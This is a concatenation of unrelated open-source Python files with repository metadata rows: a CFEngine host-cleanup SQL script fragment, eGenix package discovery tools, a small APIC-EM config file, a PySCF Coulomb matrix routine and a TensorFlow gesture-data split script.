clear_sql = "set schema 'public';\n"
for table in CFE_FR_TABLES:
# special case of partitioning, operating on parent table will work
if "__promiselog_*" in table:
table = "__promiselog"
clear_sql += (
"DELETE FROM {} WHERE hub_id = {} AND hostkey IN ({});\n".format(
table,
feeder_hubid,
",".join(["'{}'".format(hk) for hk in post_hostkeys]),
)
)
post_sql += delete_sql + clear_sql
logger.debug("Running SQL:\n%s", post_sql)
with subprocess.Popen(
["/var/cfengine/bin/psql", "cfdb"],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
) as proc:
logger.debug("got a proc, sending sql...")
outs, errs = proc.communicate(input=post_sql.encode())
if "ERROR" in errs.decode("utf-8"):
print(
"Problem running post processing SQL. returncode was {}, stderr:\n{}\nstdout:\n{}".format(
proc.returncode, errs.decode("utf-8"), outs.decode("utf-8")
)
)
sys.exit(1)
logger.debug(
"Ran post processing SQL. returncode was %s, stderr:\n%s\nstdout:\n%s",
proc.returncode,
errs.decode("utf-8"),
outs.decode("utf-8"),
)
if len(hosts_to_delete) != 0:
logger.info(
"%s: %s host deletions processed",
hub["ui_name"],
len(hosts_to_delete),
)
if __name__ == "__main__":
main()
else:
raise ImportError("fr_distributed_cleanup.py must only be used as a script!")
| 35.386473 | 110 | 0.597543 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6,117 | 0.417543 |
862625f0bd5d6882a14a812018126e427778e14a | 11,603 | py | Python | build/lib.linux-x86_64-2.7_ucs4/mx/Misc/PackageTools.py | mkubux/egenix-mx-base | 3e6f9186334d9d73743b0219ae857564c7208247 | [
"eGenix"
] | null | null | null | build/lib.linux-x86_64-2.7_ucs4/mx/Misc/PackageTools.py | mkubux/egenix-mx-base | 3e6f9186334d9d73743b0219ae857564c7208247 | [
"eGenix"
] | null | null | null | build/lib.linux-x86_64-2.7_ucs4/mx/Misc/PackageTools.py | mkubux/egenix-mx-base | 3e6f9186334d9d73743b0219ae857564c7208247 | [
"eGenix"
] | null | null | null | """ PackageTools - A set of tools to aid working with packages.
Copyright (c) 1998-2000, Marc-Andre Lemburg; mailto:mal@lemburg.com
Copyright (c) 2000-2015, eGenix.com Software GmbH; mailto:info@egenix.com
See the documentation for further information on copyrights,
or contact the author. All Rights Reserved.
"""
__version__ = '0.4.0'
import os,types,sys,re,imp,__builtin__
import mx.Tools.NewBuiltins
# RE to identify Python modules
suffixes = projection(imp.get_suffixes(),0)
module_name = re.compile('(.*)(' + '|'.join(suffixes) + ')$')
initmodule_name = re.compile('__init__(' + '|'.join(suffixes) + ')$')
initmodule_names = []
for suffix in suffixes:
initmodule_names.append('__init__' + suffix)
def find_packages(dir=os.curdir, files_only=0, recursive=0, ignore_modules=0,
pkgbasename='', pkgdict=None,
isdir=os.path.isdir,exists=os.path.exists,
isfile=os.path.isfile,join=os.path.join,listdir=os.listdir,
module_name=module_name,initmodule_name=initmodule_name):
""" Return a list of package names found in dir.
Packages are Python modules and subdirectories that provide an
__init__ module. The .py extension is removed from the
files. The __init__ modules are not considered being seperate
packages.
If files_only is true, only Python files are included in the
search (subdirectories are *not* taken into account). If
ignore_modules is true (default is false), modules are
ignored. If recursive is true the search recurses into package
directories.
pkgbasename and pkgdict are only used during recursion.
"""
l = listdir(dir)
if pkgdict is None:
pkgdict = {}
if files_only:
for filename in l:
m = module_name.match(filename)
if m is not None and \
m.group(1) != '__init__':
pkgdict[pkgbasename + m.group(1)] = 1
else:
for filename in l:
path = join(dir, filename)
if isdir(path):
# Check for __init__ module(s)
for name in initmodule_names:
if isfile(join(path, name)):
pkgname = pkgbasename + filename
pkgdict[pkgname] = 1
if recursive:
find_packages(path,
recursive=1,
pkgbasename=pkgname + '.',
pkgdict=pkgdict)
break
elif not ignore_modules:
m = module_name.match(filename)
if m is not None and \
m.group(1) != '__init__':
pkgdict[pkgbasename + m.group(1)] = 1
return pkgdict.keys()
def find_subpackages(package, recursive=0,
splitpath=os.path.split):
""" Assuming that package points to a loaded package module, this
function tries to identify all subpackages of that package.
Subpackages are all Python files included in the same
directory as the module plus all subdirectories having an
__init__.py file. The modules name is prepended to all
subpackage names.
The module location is found by looking at the __file__
attribute that non-builtin modules define. The function uses
the __all__ attribute from the package __init__ module if
available.
If recursive is true (default is false), then subpackages of
subpackages are recursively also included in the search.
"""
if not recursive:
# Try the __all__ attribute...
try:
subpackages = list(package.__all__)
except (ImportError, AttributeError):
# Did not work, then let's try to find the subpackages by looking
# at the directory where package lives...
subpackages = find_packages(package.__path__[0], recursive=recursive)
else:
# XXX Recursive search does not support the __all__ attribute
subpackages = find_packages(package.__path__[0], recursive=recursive)
basename = package.__name__ + '.'
for i,name in irange(subpackages):
subpackages[i] = basename + name
return subpackages
def _thismodule(upcount=1,
exc_info=sys.exc_info,trange=trange):
""" Returns the module object that the callee is calling from.
upcount can be given to indicate how far up the execution
stack the function is supposed to look (1 == direct callee, 2
== callee of callee, etc.).
"""
try:
1/0
except:
frame = exc_info()[2].tb_frame
for i in trange(upcount):
frame = frame.f_back
name = frame.f_globals['__name__']
del frame
return sys.modules[name]
def _module_loader(name, locals, globals, sysmods, errors='strict',
importer=__import__, reloader=reload, from_list=['*']):
""" Internal API for loading a module
"""
if not sysmods.has_key(name):
is_new = 1
else:
is_new = 0
try:
mod = importer(name, locals, globals, from_list)
if reload and not is_new:
mod = reloader(mod)
except KeyboardInterrupt:
# Pass through; SystemExit will be handled by the error handler
raise
except Exception, why:
if errors == 'ignore':
pass
elif errors == 'strict':
raise
elif callable(errors):
errors(name, sys.exc_info()[0], sys.exc_info()[1])
else:
raise ValueError,'unknown errors value'
else:
return mod
return None
def import_modules(modnames,module=None,errors='strict',reload=0,
thismodule=_thismodule):
""" Import all modules given in modnames into module.
module defaults to the caller's module. modnames may contain
dotted package names.
If errors is 'strict' (default), then ImportErrors and
SyntaxErrors are raised. If set to 'ignore', they are silently
ignored. If errors is a callable object, then it is called
with arguments (modname, errorclass, errorvalue). If the
handler returns, processing continues.
If reload is true (default is false), all already modules
among the list will be forced to reload.
"""
if module is None:
module = _thismodule(2)
locals = module.__dict__
sysmods = sys.modules
for name in modnames:
mod = _module_loader(name, locals, locals, sysmods, errors=errors)
if mod is not None:
locals[name] = mod
def load_modules(modnames,locals=None,globals=None,errors='strict',reload=0):
""" Imports all modules in modnames using the given namespaces and returns
list of corresponding module objects.
If errors is 'strict' (default), then ImportErrors and
SyntaxErrors are raised. If set to 'ignore', they are silently
ignored. If errors is a callable object, then it is called
with arguments (modname, errorclass, errorvalue). If the
handler returns, processing continues.
If reload is true (default is false), all already modules
among the list will be forced to reload.
"""
modules = []
append = modules.append
sysmods = sys.modules
for name in modnames:
mod = _module_loader(name, locals, globals, sysmods, errors=errors)
if mod is not None:
append(mod)
return modules
def import_subpackages(module, reload=0, recursive=0,
import_modules=import_modules,
find_subpackages=find_subpackages):
""" Does a subpackages scan using find_subpackages(module) and then
imports all submodules found into module.
The module location is found by looking at the __file__
attribute that non-builtin modules define. The function uses
the __all__ attribute from the package __init__ module if
available.
If reload is true (default is false), all already modules
among the list will be forced to reload.
"""
import_modules(find_subpackages(module, recursive=recursive),
module, reload=reload)
def load_subpackages(module, locals=None, globals=None, errors='strict', reload=0,
recursive=0,
load_modules=load_modules,
find_subpackages=find_subpackages):
""" Same as import_subpackages but with load_modules
functionality, i.e. imports the modules and also returns a list of
module objects.
If errors is 'strict' (default), then ImportErrors are
raised. If set to 'ignore', they are silently ignored.
If reload is true (default is false), all already modules
among the list will be forced to reload.
"""
return load_modules(find_subpackages(module, recursive=recursive),
locals, globals,
errors=errors, reload=reload)
def modules(names,
extract=extract):
""" Converts a list of module names into a list of module objects.
The modules must already be loaded.
"""
return extract(sys.modules, names)
def package_modules(pkgname):
""" Returns a list of all modules belonging to the package with the
given name.
The package must already be loaded. Only the currently
registered modules are included in the list.
"""
match = pkgname + '.'
match_len = len(match)
mods = [sys.modules[pkgname]]
for k,v in sys.modules.items():
if k[:match_len] == match and v is not None:
mods.append(v)
return mods
def find_classes(mods,baseclass=None,annotated=0,
ClassType=types.ClassType,issubclass=issubclass):
""" Find all subclasses of baseclass or simply all classes (if baseclass
is None) defined by the module objects in list mods.
If annotated is true the returned list will contain tuples
(module_object,name,class_object) for each class found where
module_object is the module where the class is defined.
"""
classes = []
for mod in mods:
for name,obj in mod.__dict__.items():
if type(obj) is ClassType:
if baseclass and not issubclass(obj,baseclass):
continue
if annotated:
classes.append((mod, name, obj))
else:
classes.append(obj)
return classes
def find_instances(mods,baseclass,annotated=0,
InstanceType=types.InstanceType,issubclass=issubclass):
""" Find all instances of baseclass defined by the module objects
in list mods.
If annotated is true the returned list will contain tuples
(module_object,name,instances_object) for each instances found where
module_object is the module where the instances is defined.
"""
instances = []
for mod in mods:
for name,obj in mod.__dict__.items():
if isinstance(obj,baseclass):
if annotated:
instances.append((mod,name,obj))
else:
instances.append(obj)
return instances
| 35.375 | 82 | 0.613031 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5,531 | 0.476687 |
8627e459bffff8a71e23af3dc3f940f880264aa8 | 65 | py | Python | scripts/apic.py | nicmatth/APIC-EM-HelloWorldv3 | c0645e6decf57dbd87c5a239b6fce36f3dcbef41 | [
"Apache-2.0"
] | null | null | null | scripts/apic.py | nicmatth/APIC-EM-HelloWorldv3 | c0645e6decf57dbd87c5a239b6fce36f3dcbef41 | [
"Apache-2.0"
] | null | null | null | scripts/apic.py | nicmatth/APIC-EM-HelloWorldv3 | c0645e6decf57dbd87c5a239b6fce36f3dcbef41 | [
"Apache-2.0"
] | null | null | null | APIC_IP="sandboxapic.cisco.com"
APIC_PORT="443"
GROUP='group-xx'
| 16.25 | 31 | 0.769231 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 38 | 0.584615 |
86311bc6fef14e7f3a84f443854c9a8a4139ce52 | 2,508 | py | Python | pyscf/nao/m_comp_coulomb_pack.py | robert-anderson/pyscf | cdc56e168cb15f47e8cdc791a92d689fa9b655af | [
"Apache-2.0"
] | 2 | 2019-05-28T05:25:56.000Z | 2019-11-09T02:16:43.000Z | pyscf/nao/m_comp_coulomb_pack.py | robert-anderson/pyscf | cdc56e168cb15f47e8cdc791a92d689fa9b655af | [
"Apache-2.0"
] | 2 | 2019-09-16T17:58:31.000Z | 2019-09-22T17:26:01.000Z | pyscf/nao/m_comp_coulomb_pack.py | robert-anderson/pyscf | cdc56e168cb15f47e8cdc791a92d689fa9b655af | [
"Apache-2.0"
] | 1 | 2019-11-09T02:13:16.000Z | 2019-11-09T02:13:16.000Z | # Copyright 2014-2018 The PySCF Developers. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from __future__ import print_function, division
from pyscf.nao.m_coulomb_am import coulomb_am
import numpy as np
try:
import numba as nb
from pyscf.nao.m_numba_utils import fill_triu_v2, fill_tril
use_numba = True
except:
use_numba = False
#
#
#
def comp_coulomb_pack(sv, ao_log=None, funct=coulomb_am, dtype=np.float64, **kvargs):
"""
Computes the matrix elements given by funct, for instance coulomb interaction
Args:
sv : (System Variables), this must have arrays of coordinates and species, etc
ao_log : description of functions (either orbitals or product basis functions)
Returns:
matrix elements for the whole system in packed form (lower triangular part)
"""
from pyscf.nao.m_ao_matelem import ao_matelem_c
from pyscf.nao.m_pack2den import ij2pack_l
aome = ao_matelem_c(sv.ao_log.rr, sv.ao_log.pp)
me = ao_matelem_c(sv.ao_log) if ao_log is None else aome.init_one_set(ao_log)
atom2s = np.zeros((sv.natm+1), dtype=np.int64)
for atom,sp in enumerate(sv.atom2sp): atom2s[atom+1]=atom2s[atom]+me.ao1.sp2norbs[sp]
norbs = atom2s[-1]
res = np.zeros(norbs*(norbs+1)//2, dtype=dtype)
for atom1,[sp1,rv1,s1,f1] in enumerate(zip(sv.atom2sp,sv.atom2coord,atom2s,atom2s[1:])):
#print("atom1 = {0}, rv1 = {1}".format(atom1, rv1))
for atom2,[sp2,rv2,s2,f2] in enumerate(zip(sv.atom2sp,sv.atom2coord,atom2s,atom2s[1:])):
if atom2>atom1: continue # skip
oo2f = funct(me,sp1,rv1,sp2,rv2, **kvargs)
if use_numba:
fill_triu_v2(oo2f, res, s1, f1, s2, f2, norbs)
else:
for i1 in range(s1,f1):
for i2 in range(s2, min(i1+1, f2)):
res[ij2pack_l(i1,i2,norbs)] = oo2f[i1-s1,i2-s2]
#print("number call = ", count)
#print("sum kernel: {0:.6f}".format(np.sum(abs(res))))
#np.savetxt("kernel_pyscf.txt", res)
#import sys
#sys.exit()
return res, norbs
| 38 | 92 | 0.702153 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,168 | 0.46571 |
8634b2f385acdad2561bde76c51b0f6fb67361d8 | 2,806 | py | Python | samples/modules/tensorflow/magic_wand/train/data_split_person.py | lviala-zaack/zephyr | bf3c6e7ba415dd85f1b68eb69ea2779b234c686f | [
"Apache-2.0"
] | 6,224 | 2016-06-24T20:04:19.000Z | 2022-03-31T20:33:45.000Z | samples/modules/tensorflow/magic_wand/train/data_split_person.py | Conexiotechnologies/zephyr | fde24ac1f25d09eb9722ce4edc6e2d3f844b5bce | [
"Apache-2.0"
] | 32,027 | 2017-03-24T00:02:32.000Z | 2022-03-31T23:45:53.000Z | samples/modules/tensorflow/magic_wand/train/data_split_person.py | Conexiotechnologies/zephyr | fde24ac1f25d09eb9722ce4edc6e2d3f844b5bce | [
"Apache-2.0"
] | 4,374 | 2016-08-11T07:28:47.000Z | 2022-03-31T14:44:59.000Z | # Lint as: python3
# coding=utf-8
# Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Split data into train, validation and test dataset according to person.
That is, use some people's data as train, some other people's data as
validation, and the rest ones' data as test. These data would be saved
separately under "/person_split".
It will generate new files with the following structure:
โโโperson_split
โย ย โโโ test
โย ย โโโ train
โย ย โโโvalid
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import os
import random
from data_split import read_data
from data_split import write_data
def person_split(whole_data, train_names, valid_names, test_names):
"""Split data by person."""
random.seed(30)
random.shuffle(whole_data)
train_data = []
valid_data = []
test_data = []
for idx, data in enumerate(whole_data): # pylint: disable=unused-variable
if data["name"] in train_names:
train_data.append(data)
elif data["name"] in valid_names:
valid_data.append(data)
elif data["name"] in test_names:
test_data.append(data)
print("train_length:" + str(len(train_data)))
print("valid_length:" + str(len(valid_data)))
print("test_length:" + str(len(test_data)))
return train_data, valid_data, test_data
if __name__ == "__main__":
data = read_data("./data/complete_data")
train_names = [
"hyw", "shiyun", "tangsy", "dengyl", "jiangyh", "xunkai", "negative3",
"negative4", "negative5", "negative6"
]
valid_names = ["lsj", "pengxl", "negative2", "negative7"]
test_names = ["liucx", "zhangxy", "negative1", "negative8"]
train_data, valid_data, test_data = person_split(data, train_names,
valid_names, test_names)
if not os.path.exists("./person_split"):
os.makedirs("./person_split")
write_data(train_data, "./person_split/train")
write_data(valid_data, "./person_split/valid")
write_data(test_data, "./person_split/test")
| 36.921053 | 125 | 0.653956 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,529 | 0.538001 |